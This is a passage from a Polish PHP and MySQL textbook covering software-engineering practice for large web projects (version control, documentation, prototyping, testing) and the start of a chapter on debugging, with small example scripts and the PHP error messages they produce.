które zostaną później dołączone do głównego skryptu. Można na przykład ulokować wszystkie
funkcje związane z bazami danych w pliku funkcjebd.php.

Powody dzielenia kodu na odpowiednie fragmenty są następujące:


 Dzielenie ułatwia czytanie i zrozumienie kodu zarówno jego autorom, jak i osobom,
które w przyszłości mogą dołączyć do zespołu.
 Dzielenie ułatwia ponowne wykorzystanie kodu i ogranicza redundancję. Na przykład
wspomniany wcześniej plik funkcjedb.php może zostać wykorzystany po raz kolejny
w każdym skrypcie wymagającym połączenia z bazą danych. Jeżeli zachodzi konieczność
modyfikacji sposobu jego działania, wystarczy wykonać tę zmianę w jednym miejscu.
 Dzielenie ułatwia pracę zespołową. Jeżeli kod jest rozczłonkowany na składniki, można
przypisać odpowiedzialność za poszczególne z nich konkretnym członkom zespołu. Pozwala
również na uniknięcie sytuacji, w której jeden programista czeka, aż drugi skończy pracę
nad skryptem OgromnySkrypt.php, aby mógł ruszyć z własną.

Na początku każdego projektu warto poświęcić trochę czasu na zastanowienie się nad sposobem
podzielenia projektu na składniki. Wymaga to narysowania linii pomiędzy obszarami poszczegól-
nych możliwości funkcjonalnych, dlatego nie zawsze jest to proste i szybkie; nie należy się jednak
zniechęcać, kiedy zależności te zmienią się po rozpoczęciu pracy nad projektem. Także takie
planowanie powinno być procesem iteracyjnym. Konieczne jest również podjęcie decyzji na
temat kolejności tworzenia składników, wyznaczenia struktury ich wzajemnej zależności oraz
planu czasowego tworzenia wszystkich składników.

Nawet jeżeli wszyscy członkowie zespołu będą pracować nad wszystkim elementami kodu, dobrym
pomysłem jest przydzielenie głównej odpowiedzialności za każdy składnik konkretnej osobie.
W ostateczności będzie ona odpowiedzialna za niepowodzenie danego składnika. Ktoś musi też
podjąć obowiązki menedżera kompilacji, to znaczy osoby zapewniającej istnienie i współdziałanie
wszystkich składników. Osoba ta zazwyczaj zarządza również kontrolą wersji — zostanie ona
omówiona w dalszej części tego rozdziału. Osoba ta może być menedżerem projektu bądź też pro-
gramistą, któremu wyznaczono dodatkowe zadanie.
516 Część V  Tworzenie praktycznych projektów PHP i MySQL

Stosowanie standardowej struktury katalogów


Rozpoczynając projekt aplikacji WWW, należy pomyśleć o tym, jak struktura składników znajdzie
odzwierciedlenie w strukturze katalogów witryny WWW. Pomysłem równie niefortunnym jak utwo-
rzenie jednego ogromnego skryptu zawierającego wszystkie możliwości funkcjonalne jest stworze-
nie jednego ogromnego katalogu zawierającego wszystkie zasoby niezbędne do działania witryny.

Należy zadecydować, jak katalogi zostaną podzielone pomiędzy składniki, logikę, zawartość
i współdzielone biblioteki kodu. Struktura powinna być udokumentowana. Należy także upewnić
się, że każda osoba pracująca nad projektem posiada dostęp do tej dokumentacji, tak by była w stanie
znaleźć wszystko, czego potrzebuje.

Dokumentacja i dzielenie wewnętrznych funkcji


Podczas tworzenia bibliotek funkcji należy udostępnić je innym programistom zespołu. Często
spotykaliśmy się z przypadkami, gdy każdy programista tworzył własny zbiór funkcji baz danych,
daty i usuwania błędów. To marnowanie czasu. Należy udostępniać funkcje i klasy innym,
umieszczając je we współdzielonych bibliotekach lub w repozytorium kodu.

Musicie również pamiętać, że nawet jeżeli kod jest przechowywany w miejscu dostępnym dla reszty
zespołu, pracownicy powinni zostać o tym powiadomieni. Trzeba utworzyć system dokumentacji
wewnętrznych bibliotek funkcji oraz udostępnić go pozostałym członkom zespołu.

Implementacja kontroli wersji


Kontrola wersji jest sztuką zarządzania współbieżnymi zmianami zastosowanymi do tworzenia
oprogramowania. Systemy kontroli wersji działają generalnie jako centralny skład lub archiwum
i dostarczają nadzorowanego interfejsu dostępu do kodu i udostępniania go (i prawdopodobnie
dokumentacji).

Wyobraźmy sobie sytuację, w której następuje próba poprawienia kodu, lecz przypadkowo zostaje
on uszkodzony i nie ma możliwości przywrócenia poprzedniej wersji, niezależnie od liczby tych
prób. Albo też klient decyduje, że poprzednia wersja witryny była lepsza. Może się również zdarzyć,
że konieczne jest przywrócenie poprzedniej wersji z powodów prawnych.

Możliwa jest także inna sytuacja, w której dwaj członkowie zespołu programistycznego pracują nad
tym samym plikiem. Mogą oni otworzyć ten plik w jednym czasie, nadpisując nawzajem swoje
zmiany. Mają kopie, na których pracują lokalnie, i modyfikują je na różne sposoby. Jeżeli zachodzi
obawa wystąpienia takiego zjawiska, jeden programista może czekać, nic nie robiąc, aż inny zakończy
edycję pliku.

Wszystkie te problemy można rozwiązać za pomocą systemu kontroli wersji. Systemy te mogą
śledzić zmiany w każdym pliku w składzie, tak więc możliwe jest ustalenie nie tylko obecnego
stanu pliku, ale również jak wyglądał on w dowolnym czasie w przeszłości. Własność ta pozwala
na zamianę uszkodzonego pliku na jego ostatnią działającą wersje. Możliwe jest oznaczenie dowol-
nego zestawu kopii plików jako wersji do opublikowania. Oznacza to, że można kontynuować roz-
wijanie kodu z dostępem w dowolnym czasie do kopii aktualnej opublikowanej wersji.

Systemy kontroli wersji pomagają również w sytuacjach, w których kilku programistów pracuje
razem nad kodem. Każdy programista może otrzymać kopię kodu ze składu (nazywane jest to
wyprowadzaniem), a kiedy dokona zmian, mogą być one zapisane ponownie w składzie (wprowa-
dzanie). Systemy kontroli wersji mogą więc śledzić, kto dokonał danej modyfikacji w systemie.
Rozdział 25.  Stosowanie PHP i MySQL w dużych projektach 517

Systemy te zazwyczaj posiadają możliwość zarządzania zmianami współbieżnymi. Oznacza to, że


dwaj programiści mogą modyfikować ten sam plik jednocześnie. Na przykład Jacek i Agnieszka
równocześnie wyprowadzili kopię najnowszej edycji swojego projektu. Jacek kończy dokonywanie
zmian i wprowadza plik z powrotem. Agnieszka również zmienia plik, po czym również próbuje
go wprowadzić. Jeżeli modyfikacje przez nich dokonane dotyczą dwóch różnych części pliku, system
kontroli wersji połączy obie wersje. Jeżeli zmiany wchodzą w konflikt ze sobą, Agnieszka otrzyma
informację na ten temat i zostaną jej pokazane obie wersje. Może ona potem dostosować swoją
wersję kodu w celu uniknięcia konfliktów.
Dostępnych jest kilka różnych systemów kontroli wersji; niektóre z nich są darmowe i udostęp-
niane jako oprogramowanie otwarte, a inne są rozwiązaniami własnościowymi. Do najpopular-
niejszych systemów należą Subversion (http://subversion.apache.org), Mercurial (http://mercurial.
selenic.com) oraz Git (http://www.git-scm.com). Jeśli firma hostingowa lub wewnętrzny dział IT
pozwoli na zainstalowanie któregokolwiek z tych narzędzi, to zespół może utworzyć własne repo-
zytoria i używać ich, posługując się programami z graficznym interfejsem użytkownika bądź też
z poziomu wiersza poleceń.
Jednak osoby, a nawet organizacje, które chciałyby zacząć korzystać z systemów kontroli wersji,
lecz nie chcą borykać się z wszystkimi problemami związanymi z ich instalacją i utrzymaniem,
powinny wiedzieć, że istnieje kilka takich systemów udostępnianych w chmurze (jako rozwiąza-
nia typu SaaS), których można używać bezpłatnie do celów osobistych lub do tworzenia projektów
typu Open Source. Tego typu rozwiązania nie są przeznaczone jedynie dla osób prywatnych —
takich rozproszonych systemów kontroli wersji jak GitHub (http://github.com) lub Bitbucket
(http://www.bitbucket.org) używają także firmy, i to zarówno małe, jak i wielkie.

Wybór środowiska programistycznego


Dyskusja na temat kontroli wersji prowadzi do bardziej ogólnego tematu środowisk programistycz-
nych. Tak naprawdę potrzebne są jest jedynie edytor tekstu i przeglądarka w celach testowych.
Jednak wielu programistów może uzyskać większą produktywność dzięki korzystaniu ze zintegro-
wanego środowiska programistycznego, czyli IDE (ang. Integrated Development Environment).
Na rynku można znaleźć darmowe, udostępniane jako oprogramowanie typu Open Source, IDE
ze wsparciem dla programowania w PHP; należą do nich Eclipse (https://eclipse.org/pdt/) oraz
NetBeans (https://netbeans.org/). Niemniej jednak największe możliwości posiadają obecnie
IDE będące produktami komercyjnymi. Najlepsze i najpopularniejsze z nich to Zend Studio
firmy Zend (http://www.zend.com/), Komodo firmy ActiveState (http://www.activestate.com/),
PhpStorm firmy JetBrains (https://www.jetbrains.com/phpstorm/) oraz PHPEd firmy NuSphere
(http://www.nusphere.com/). Każde z nich można zainstalować na okres próbny, co pozwoli na
zapoznanie się z ich możliwościami przed dokonaniem ostatecznego wyboru.

Dokumentacja projektów
Możliwe jest utworzenie wielu różnych rodzajów dokumentacji dla projektów programistycznych.
Należą do nich:
 dokumentacja projektowania,
 dokumentacja techniczna-przewodnik programistyczny,
 słownik danych (w tym dokumentacja klas),
 przewodnik użytkownika (chociaż większość aplikacji WWW powinna być
samowyjaśniająca się).
518 Część V  Tworzenie praktycznych projektów PHP i MySQL

Celem tej książki nie jest nauczenie sposobu tworzenia dokumentacji technicznej, lecz zasugero-
wanie sposobu ułatwienia pracy poprzez automatyzację części procesu.

W niektórych językach istnieją sposoby automatycznego generowania niektórych z tych dokumen-


tów — zwłaszcza dokumentacji technicznej i słowników danych. Na przykład javadoc tworzy
drzewo plików HTML zawierające prototypy i opisy członków klas dla programów Javy.

Dostępnych jest także kilka rozwiązań tego typu przeznaczonych dla PHP; należą do nich następują-
ce projekty:
 phpDocumentor 2, dostępny na stronie http://www.phpdoc.org/.
Produkt ten wyświetla wyniki podobne do javadoc i wydaje się, że pracuje dość dobrze.
Poza tym pracujący nad nim zespół projektowy wydaje się być najbardziej aktywny
w porównaniu z pozostałymi dwoma wymienionymi tu rozwiązaniami.
 phpDox, dostępny na stronie http://phpdox.de/.
Także ten produkt generuje obszerną dokumentację kodu źródłowego oraz dodatkowe,
przydatne metryki kodu, takie jak złożoność cyklomatyczna.

Prototypowanie
Prototypowanie jest etapem pracy często stosowanym w tworzeniu aplikacji WWW. Prototyp jest
ważnym narzędziem służącym do poznawania wymagań użytkownika. Zazwyczaj jest to uprosz-
czona, częściowo działająca wersja aplikacji. Okazuje się przydatna w dyskusji z klientem i może
stanowić podstawę ostatecznego systemu. Często kilka iteracji prototypu tworzy ostateczną aplikację.
Zaletą tego podejścia jest możliwość bliskiej współpracy z klientem lub końcowym użytkownikiem.
W rezultacie zostanie utworzony system, z którego będą oni zadowoleni oraz poczują się, w pewnym
sensie, jego właścicielami.

W celu szybkiego stworzenia prototypu potrzebne są konkretne umiejętności i narzędzia. Na tym


etapie doskonale sprawdza się system oparty na składnikach. Posiadając dostęp do zbioru istnieją-
cych wcześniej składników, zarówno własnych, jak i dostępnych publicznie, można znacznie
przyśpieszyć ten proces. Innym przydatnym narzędziem służącym do szybkiego tworzenia proto-
typów są szablony. Zostaną one opisane w następnym podrozdziale.

Istnieją dwa podstawowe problemy związane z ujęciem prototypowym. Należy być świadomym,
na czym one polegają, aby możliwe było ich uniknięcie i maksymalne wykorzystanie tego podejścia.

Pierwszy problem polega na tym, że programistom często zdarza się usunąć z jakiegoś powodu kod,
który napisali. Prototypy są często pisane w pośpiechu; spoglądając z dystansu, można stwierdzić,
że prototyp nie został utworzony w sposób optymalny, a nawet dostateczny. Gorsze części kodu mogą
zostać poprawione, lecz jeżeli cała struktura jest nieprawidłowa, oznacza to poważny problem. Istotną
niedogodnością jest zwyczajowa dla aplikacji WWW ogromna presja czasu i wynikający z niej brak
możliwości naprawy poważnych błędów. Wynikiem jest marnie zaprojektowany i trudny w utrzy-
maniu system.

Można tego uniknąć przez wykonanie pewnych planów opisanych w poprzednich częściach tego
rozdziału. Należy również pamiętać, że często łatwiejsze od naprawy jest usunięcie pewnych części
i napisanie ich od nowa. Chociaż wygląda to na proces, dla którego nie ma czasu, często dzięki niemu
można zaoszczędzić wielu problemów w późniejszych etapach pracy.
Rozdział 25.  Stosowanie PHP i MySQL w dużych projektach 519

Drugim problemem związanym z prototypowaniem jest możliwość przekształcenia się projektu


w „wieczny” prototyp. Ilekroć wydaje się, że prace dobiegają kresu, klient sugeruje dodatkowe
ulepszenia, zwiększenie możliwości funkcjonalnych lub uaktualnienia witryny. Może to przeciągać
w nieskończoność termin zakończenia projektu.

Aby uniknąć tego problemu, należy wykonać plan projektu z określoną liczbą iteracji oraz datą,
po której żadne możliwości funkcjonalne nie mogą być dodane bez kreślenia nowych planów
oraz zmiany budżetu i terminów.

Oddzielanie logiki i zawartości


Powszechnie znana jest idea stosowania HTML-a do opisywania struktury dokumentu WWW,
a stylów CSS (ang. Cascading Style Sheets) do opisywania jego wyglądu. Koncepcja oddzielania
sposobu prezentacji od zawartości może być rozszerzona na skrypty. Ogólnie rzecz biorąc, łatwiej
używać i utrzymać witrynę przez dłuższy czas, jeżeli logika będzie oddzielona od zawartości, a ta
z kolei od sposobu prezentacji. Sprowadza się to do odseparowania PHP od HTML-a (choć obej-
muje także separację CSS oraz kodu JavaScript).

W przypadku małych projektów, z niewielką liczbą wierszy kodu i skryptów, oddzielanie logiki
i zawartości może się okazać niewarte trudu. Jednak gdy projekty nabierają rozmachu, podstawowym
zadaniem jest oddzielenie logiki i zawartości. Jeżeli nie zostanie to wykonane, kod stanie się znacznie
trudniejszy w utrzymaniu. Gdy zapadnie decyzja o zastosowaniu nowego projektu graficznego dla
witryny WWW, a duża część HTML-a jest osadzona w kodzie, zmiana grafiki okaże się koszmarem.

Trzy podstawowe metody oddzielania logiki i zawartości są następujące:


 Stosowanie włączanych do siebie plików przechowujących różną zawartość. Jest to ujęcie
uproszczone, lecz może okazać się skuteczne w przypadku statycznych w dużej części stron.
Ta metoda została opisana na przykładzie firmy TLA Consulting w rozdziale 5.
 Zastosowanie funkcji lub klasy z zestawem funkcji składowych w celu włączenia zawartości
dynamicznej do statycznych szablonów stron. Metoda ta została zaprezentowana w rozdziale 6.
 Zastosowanie systemu szablonów. Systemy takie analizują statyczne szablony i stosują
wyrażenia regularne w celu zamiany określonych znaczników na zawartość dynamiczną.
System ten ma ważną zaletę: szablony mogą zostać zaprojektowane przez zupełnie inną
osobę, na przykład grafika, który nie musi znać PHP. Dostarczone szablony powinny być
używane z minimalnymi zmianami.

W sieci dostępnych jest kilka systemów szablonów. Jednym z najstarszych, choć prawdopodobnie
wciąż najbardziej popularnym z nich jest Smarty, dostępny pod adresem http://www.smarty.net.
Kolejnymi interesującymi rozwiązaniami tego typu są Twig (http://twig.sensiolabs.org/) oraz Plates
(http://platesphp.com/). Warto przyjrzeć się zarówno im, jak i ich alternatywom, by przekonać
się, która z opcji będzie najbardziej użyteczna dla danej organizacji.

Optymalizacja kodu
Dla programistów pochodzących ze środowiska niesieciowego optymalizacja może wydawać się
naprawdę ważna. W przypadku stosowania PHP większość czasu, który użytkownik poświęca na
oczekiwanie na aplikacje WWW, zajmuje połączenie i pobieranie. Optymalizacja kodu nie wywiera
istotnego wpływu na ten czas.
520 Część V  Tworzenie praktycznych projektów PHP i MySQL

Stosowanie prostych optymalizacji


Istnieją jednak pewne proste w wykonaniu optymalizacje, które w przypadku czasów nawiązywania
połączeń i pobierania mogą wywoływać odmienny efekt. Wiele ze zmian opisywanych poniżej
odnosi się do aplikacji, które integrują PHP z bazami danych, takimi jak MySQL:
 Zmniejszenie liczby połączeń z bazą danych. Łączenie z bazą danych jest często najwolniejszą
częścią skryptu.
 Przyśpieszenie zapytań bazy danych. Należy ograniczyć liczbę wykonywanych zapytań
i upewnić się, że są one zoptymalizowane. W złożonych (a więc działających wolno)
zapytaniach istnieje zazwyczaj więcej niż jedna droga postępowania. Należy uruchamiać
zapytania z interfejsu wiersza poleceń bazy danych oraz eksperymentować z różnymi metodami
ich wykonywania celem przyśpieszenia działania. W MySQL można wykorzystać wyrażenie
EXPLAIN, aby zobaczyć, czy zapytanie może zostać utworzone w inny sposób (zastosowanie
tego wyrażenia jest opisane w rozdziale 12.). Ogólną zasadą jest ograniczenie liczby połączeń
i maksymalne wykorzystanie indeksów.
 Należy ograniczyć do minimum tworzenie zawartości statycznej przez PHP. Jeżeli każdy
fragment HTML-a jest utworzony za pomocą poleceń echo lub print(), zabierze dużo więcej
czasu (jest to jeden z argumentów przemawiających za oddzieleniem od siebie logiki i kodu).
Zasada ta dotyczy również dynamicznego tworzenia przycisków — można zastosować PHP
do wygenerowania przycisków jeden raz, po czym wykorzystać je ponownie w zależności
od potrzeb. Jeżeli całkowicie statyczne strony są tworzone za pomocą funkcji i szablonów
przy każdym załadowaniu strony, należy rozważyć pojedyncze uruchomienie funkcji
lub wykorzystanie szablonów, po czym zapamiętanie wyniku.
 Należy stosować funkcje łańcuchowe zamiast wyrażeń regularnych, jeśli to tylko
możliwe. Funkcje te działają szybciej.

Testowanie
Przegląd i testowanie są kolejnym podstawowym punktem inżynierii oprogramowania, który często
zostaje przeoczony podczas tworzenia aplikacji WWW. Łatwo jest dwu- lub trzykrotne przetesto-
wać program i stwierdzić, że wszystko działa bezbłędnie. To często popełniany błąd. Przed uzna-
niem programu za gotowy należy upewnić się, że został on gruntownie przetestowany pod kątem
różnych scenariuszy.

Proponowane są dwie metody zredukowania liczby błędów w kodzie (niemożliwe jest usunięcie
wszystkich, można jednak wyeliminować lub zminimalizować większość z nich).

Przede wszystkim należy przyjąć praktykę przeglądu kodu w ramach zespołu. Jest to proces, w któ-
rym inny programista lub zespół programistów ogląda kod i sugeruje ulepszenia. W toku tego typu
analizy zazwyczaj zostają zasygnalizowane następujące kwestie:
 niezauważone błędy,
 przypadki testowania, których nie przewidział,
 optymalizacja,
 poprawa bezpieczeństwa,
 istniejące składniki, które można zastosować w celu poprawienia danego fragmentu kodu,
 dodatkowe możliwości funkcjonalne.
Rozdział 25.  Stosowanie PHP i MySQL w dużych projektach 521

Nawet pracując indywidualnie, warto znaleźć „kolegę po fachu”, który znajduje się w podobnej
sytuacji, i nawzajem dokonywać przeglądu kodów.

Drugą metodą jest odnalezienie testerów aplikacji WWW, którzy reprezentują użytkowników. Pod-
stawowa różnica pomiędzy aplikacjami WWW a biurkowymi polega na tym, że nie sposób określić
grupy użytkowników korzystających z tych pierwszych. Nie można zakładać, że wszyscy użytkow-
nicy będą dobrze znali komputery. Nie można przecież dać im grubego podręcznika ani też skróconej
karty obsługi. Zamiast tego należy sprawić, aby aplikacje WWW same w sobie były zrozumiałe
i dobrze udokumentowane. Należy pomyśleć o sposobach, w jakich użytkownicy będą korzystali
z danej aplikacji. Łatwość obsługi jest bez wątpienia najważniejszą własnością aplikacji.

Zrozumienie problemów niedoświadczonych użytkowników może być trudne dla programistów


i zaawansowanych użytkowników sieci WWW. Jednym ze sposobów rozwiązania tej niedogod-
ności jest odwołanie się do usług testerów reprezentujących typowego użytkownika.

Jednym z często stosowanych sposobów jest posłużenie się aplikacją WWW w wersji beta. Kiedy
można założyć, że większość błędów jest już wykluczona, należy udostępnić aplikację małej grupie
użytkowników testowych i uzyskać niewielki ruch na stronie. Można zaoferować darmowe usługi
pierwszym 100 klientom w zamian za komentarze na temat witryny. Z pewnością utworzą oni pewne
kombinacje danych lub zastosowań, których nie przewidzieli programiści. Podczas tworzenia witryny
WWW dla firmy zwykle dysponuje się licznymi niedoświadczonymi użytkownikami — firma
deleguje pracowników do przeglądania tej witryny (działanie takie ma dodatkową zaletę zwiększania
poczucia własności witryny u klienta).

Propozycje dalszych lektur


W tym rozdziale poruszonych zostało wiele zagadnień, ale wszystkie z nich wiążą się z inżynierią
oprogramowania — nauką, której poświęcono już bardzo, bardzo wiele książek. Niezwykle intere-
sującą lekturą jest na przykład Software Engineering: A Practitioner’s Approach autorstwa Rogera
Pressmana. Poza tym wiele zagadnień opisanych w tym rozdziale jest poruszanych także w arty-
kułach i publikacjach dostępnych w dziale zasobów (Resources) witryny firmy Zend. Warto do
niej zajrzeć, by poszukać cennych dodatkowych informacji. I w końcu, jeśli tematyka tego rozdziału
zainteresowała Czytelnika, to może on również zapoznać się z zagadnieniem programowania
ekstremalnego (ang. eXtreme Programming, w skrócie XP) — metodologii wytwarzania oprogra-
mowania przeznaczonej do zastosowań, w których wymagania odnośnie do projektów mogą się
często zmieniać, czyli na przykład do tworzenia aplikacji WWW. Więcej informacji związanych
z tą metodologią można znaleźć w poświęconej jej witrynie WWW, dostępnej pod adresem
http://www.extremeprogramming.org.

W następnym rozdziale
W rozdziale 26. znajduje się opis różnych typów błędów programistycznych, komunikatów o błę-
dach PHP oraz technik odnajdywania i łatwego usuwania błędów.
522 Część V  Tworzenie praktycznych projektów PHP i MySQL
Rozdział 26.
Usuwanie
i rejestracja błędów
W tym rozdziale opiszemy usuwanie błędów w skryptach PHP. Osoby próbujące uruchomić
przykłady podane w książce lub znające wcześniej PHP prawdopodobnie zdążyły już wypracować
własne umiejętności i techniki eliminacji błędów. W przypadku bardziej skomplikowanych
projektów usuwanie błędów może stać się zadaniem trudniejszym. Chociaż umiejętności programi-
styczne rosną, błędy mogą dotyczyć kilku plików lub interakcji pomiędzy kodem stworzonym
przez kilka osób.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 błędy składni, wykonania i logiczne,
 komunikaty o błędach,
 poziomy błędów,
 wyzwalanie własnych błędów
 elegancka obsługa błędów.

Błędy programistyczne
Niezależnie od stosowanego języka programowania można wyróżnić trzy ogólne typy typów błędów
programistycznych:
 błędy składni,
 błędy wykonania,
 błędy logiczne.

Każdy z powyższych typów zostanie pokrótce omówiony przed przejściem do opisu pewnych
taktyk wykrywania, obsługi, unikania i usuwania błędów.

Błędy składni
Wszystkie języki posiadają zbiór zasad nazywany składnią, które dotyczą instrukcji. Zasada ta
odnosi się zarówno do języków naturalnych, takich jak polski, jak i do języków programowania,
m.in. PHP. Jeżeli instrukcja nie spełnia reguł języka, mówi się o nim, że zawiera błąd składniowy.
524 Część V  Tworzenie praktycznych projektów PHP i MySQL

Błędy składni są nazywane również błędami analizatora składniowego w przypadku języków


interpretowanych, np. PHP, lub błędami kompilacji, przy omawianiu języków kompilowanych,
takich jak C lub Java.

Jeżeli zostaną złamane zasady składni języka polskiego, istnieje duże prawdopodobieństwo, że
posługujący się nim ludzie nadal będą się rozumieli. Często reguła ta nie dotyczy języków pro-
gramowania. Jeżeli skrypt nie przestrzega zasad składni PHP — zawiera błędy składni — analiza-
tor składniowy nie zdoła przetworzyć jego części lub nawet całości. Ludzie potrafią wydobyć
informację z częściowych lub sprzecznych danych. Komputery zaś nie.

Oprócz innych zasad składnia PHP wymaga, by instrukcje kończyły się średnikami, by łańcu-
chy znaków były zapisywane w cudzysłowach lub apostrofach oraz by parametry przekazywane
do funkcji były oddzielone przecinkami i ujęte w nawiasy. Jeżeli zasady te zostaną złamane,
skrypt PHP nie będzie działał i prawdopodobnie wyświetli przy pierwszym jego uruchomieniu
komunikat o błędzie.

Jedną z wielkich zalet PHP jest wyświetlanie przydatnych komunikatów o błędach w razie jakich-
kolwiek nieprawidłowości. Komunikat o błędzie PHP zazwyczaj zawiera informację, jaki jest
jego rodzaj, w jakim pliku wystąpił oraz w którym jego wierszu.

Komunikaty o błędzie przypominają następujący:


Parse error: syntax error, unexpected '');' (T_ENCAPSED_AND_WHITESPACE), expecting ',' or ')'
in /home/ksiazka/public_html/rozdzial_26/blad.php on line 2

Powodem powyższego błędu jest następujący skrypt:


<?php
$data=date(m.d.y');
?>

Można dostrzec, że powyższy skrypt próbuje przekazać łańcuch znaków funkcji date(), lecz
przypadkowo ominięty został otwierający cudzysłów, który wskazuje początek łańcucha.
Proste błędy składni, takie jak powyższy, zazwyczaj są łatwe do odnalezienia. Znacznie trudniejsze
może być odnajdywanie błędów, które pojawiają się w następstwie połączenia większej liczby
plików. Poza tym trudno szuka się błędów w dużych plikach. Komunikat o błędzie składni wystę-
pującym w 1001. wierszu pliku liczącego sobie 1000 wierszy kodu może skutecznie popsuć humor
na cały dzień, lecz jednocześnie będzie stanowić delikatny sygnał sugerujący, że może warto za-
dbać o lepszą modularyzację kodu.

Ogólnie rzecz biorąc, błędy składni są najłatwiejsze do odnalezienia i poprawienia. W przypadku


popełnienia takiego błędu próba wykonania kodu skończy się wyświetleniem komunikatu informu-
jącego o tym, gdzie błąd jest zlokalizowany.

Błędy wykonania
Błędy wykonania są trudniejsze do odnalezienia i naprawienia. Jeżeli skrypt zawiera błąd składni,
analizator składniowy wykryje go w trakcie wykonywania kodu. Błędy wykonawcze nie są
spowodowane jedynie przez zawartość danego skryptu. Mogą one opierać się na interakcjach
pomiędzy skryptem a innymi zdarzeniami lub warunkami.

Następująca instrukcja:
require ('nazwapliku.php');

jest prawidłową instrukcją PHP. Nie zawiera ona żadnych błędów składni.
Rozdział 26.  Usuwanie i rejestracja błędów 525

Jednak może ona spowodować błąd wykonania. Jeżeli instrukcja ta zostanie wykonana, a plik
nazwapliku.php nie istnieje bądź użytkownikowi skryptu odmówiono prawa odczytu, wyświetlony
zostanie komunikat o błędzie podobny do następującego:
Fatal error: require(): Failed opening required 'nazwapliku.php' (include_path='.:/usr/local/
lib/php') in /home/ksiazka/public_html/rozdzial_26/blad.php on line 2

Chociaż w kodzie nie wystąpił żaden błąd, to jednak ponieważ opiera się on na pliku, który istnieje
lub nie istnieje podczas różnych uruchomień tego kodu, może on wywołać błąd wykonania.

Poniższe trzy instrukcje są prawidłowymi instrukcjami PHP. Niestety, występując łącznie, próbują
wykonać działanie niemożliwe — dzielenie przez zero.
$i=10;
$j=0;
$k=$i/$j;

Powyższy fragment kodu wywoła następujące ostrzeżenie:


Warning: Division by zero in /home/ksiazka/public_html/rozdzial_26/dziel0.php on line 4

Ostrzeżenie to umożliwia łatwą poprawę błędu. Niewielu programistów dąży do napisania kodu,
który będzie miał za zadanie dzielenie przez zero, lecz zaniechanie sprawdzenia danych wprowa-
dzonych przez użytkownika często prowadzi do błędu tego typu.

Poniższy kod również może wygenerować taki sam błąd, lecz źródło tego błędu może być o wiele
trudniej zidentyfikować, ponieważ będzie on występować tylko od czasu do czasu:
$i=10;
$j=$i/$_REQUEST['wejscie'];

Jest to jeden z wielu różnych błędów wykonania, które można napotkać w trakcie testowaniu kodu.

Popularne przyczyny błędów wykonania są następujące:


 wywołania nieistniejących funkcji,
 odczyt lub zapis plików,
 interakcja z MySQL lub innymi bazami danych,
 połączenia z serwisami sieciowymi,
 brak sprawdzenia danych wprowadzonych przez użytkownika.

Każdy z powyższych powodów zostanie pokrótce opisany w kolejnych punktach.

Wywołania nieistniejących funkcji


Nietrudno jest przypadkowo wywołać nieistniejącą funkcję. Funkcje wbudowane są często nie-
konsekwentnie nazywane. Na przykład funkcja strip_tags() posiada w nazwie znak podkreślenia,
a stripslashes() — nie. Dlatego właśnie takie błędy zdarzają się dość często.

Nietrudno również wywołać jedną z własnych funkcji, która nie istnieje w danym skrypcie, lecz
może istnieć w innym miejscu. Jeżeli kod zawiera wywołanie nieistniejącej funkcji, na przykład:
nieistniejaca_funkcja();

lub
blednie_zapisana_funkcja();
526 Część V  Tworzenie praktycznych projektów PHP i MySQL

zostanie wyświetlony komunikat o błędzie, podobny do następującego:


Fatal error: Uncaught Error: Call to undefined function: nieistniejaca_funkcja()
in /home/ksiazka/public_html/rozdzial_26/blad.php:2 Stack trace: #0 {main} thrown in
/home/ksiazka/public_html/rozdzial_26/blad.php on line 2

Podobnie możliwe jest wywołanie istniejącej funkcji z niewłaściwą liczbą parametrów, czego
wynikiem będzie wyświetlenie ostrzeżenia.

Funkcja strstr() pobiera dwa łańcuchy znaków — stóg, w którym należy szukać, oraz igłę,
którą należy odnaleźć. Jeżeli zamiast tego wywoła się ją w następujący sposób:
strstr();

to wynikiem będzie poniższe ostrzeżenie:


Warning: strstr() expects at least 2 parameters, 0 given in
/home/ksiazka/public_html/rozdzial_26/blad.php on line 2

Instrukcje zawarte w poniższym skrypcie są równie niepoprawne:


<?php
if($zmienna == 4) {
strstr();
}
?>

Jednak poza, choć rzadkimi, przypadkami, w których zmienna $zmienna będzie posiadać wartość 4,
wywołanie strstr() nie nastąpi i nie pojawi się żadne ostrzeżenie. Interpreter PHP nie traci
czasu na parsowanie fragmentów kodu, które w aktualnym procesie wykonywania nie są potrzebne.
Trzeba więc zawsze uważnie testować napisane programy!

Łatwo jest wywołać funkcję w nieprawidłowy sposób, ale ponieważ wynikłe z tego komunikaty
podają konkretny wiersz i wywołanie funkcji sprawiające problemy, błąd ten jest równie łatwo
naprawić. Są one trudne do wykrycia jedynie w przypadku niewłaściwej procedury testowej,
która nie sprawdza całego wykonywanego warunkowo kodu. Podczas testowania jedną z zasad jest
wykonanie każdego wiersza kodu dokładnie jeden raz. Inną metodą jest przetestowanie wszystkich
warunków granicznych i typów wprowadzanych danych.

Odczyt i zapis plików


Chociaż w trakcie „życia” programu zdarzyć się mogą niemal wszystkie błędy, niektóre z nich
pojawiają się częściej niż inne. Błędy dostępu do plików są na tyle rozpowszechnione, że trzeba
wiedzieć, jak je obsługiwać. Dyski twarde zawodzą lub przepełniają się, a wynikiem błędów
ludzkich są zmiany w uprawnieniach dostępu do katalogów.

Funkcje takie jak fopen(), często zawodne, generalnie posiadają zwracaną wartość, która sygnalizu-
je, że wystąpił błąd. W przypadku fopen() zwrócona wartość false oznacza niepowodzenie.

W przypadku funkcji posiadających system powiadamiania o niepowodzeniach należy dokładnie


sprawdzać wartości zwrócone przez każde wywołanie i działać w wypadku niepowodzenia.

Interakcja z MySQL lub innymi bazami danych


Łączenie się i korzystanie z MySQL wywołuje niekiedy wiele błędów. Sama funkcja mysqli_connect()
może spowodować przynajmniej następujące błędy:
Rozdział 26.  Usuwanie i rejestracja błędów 527

 Warning: mysqli_connect() [function.mysqli-connect]: Can't connect to MySQL


server on 'nazwakomputera' (10061)
 Warning: mysqli_connect() [function.mysqli-connect]: Unknown MySQL Server Host
'nazwakomputera' (11001)
 Warning: mysqli_connect() [function.mysqli-connect]: Access denied for user:
'nazwauzytkownika@localhost' (Using password: YES)

Jak można się spodziewać, funkcja mysqli_connect() zwraca wartość false w przypadku wystą-
pienia błędu. Oznacza to, że łatwo jest uchwycić i obsłużyć popularne błędy.

Jeżeli normalne wykonywanie skryptu nie zostanie zatrzymane, a błędy pozostaną, skrypt będzie
próbował kontynuować interakcję z bazą danych. Próba wykonywania zapytań i odczytania
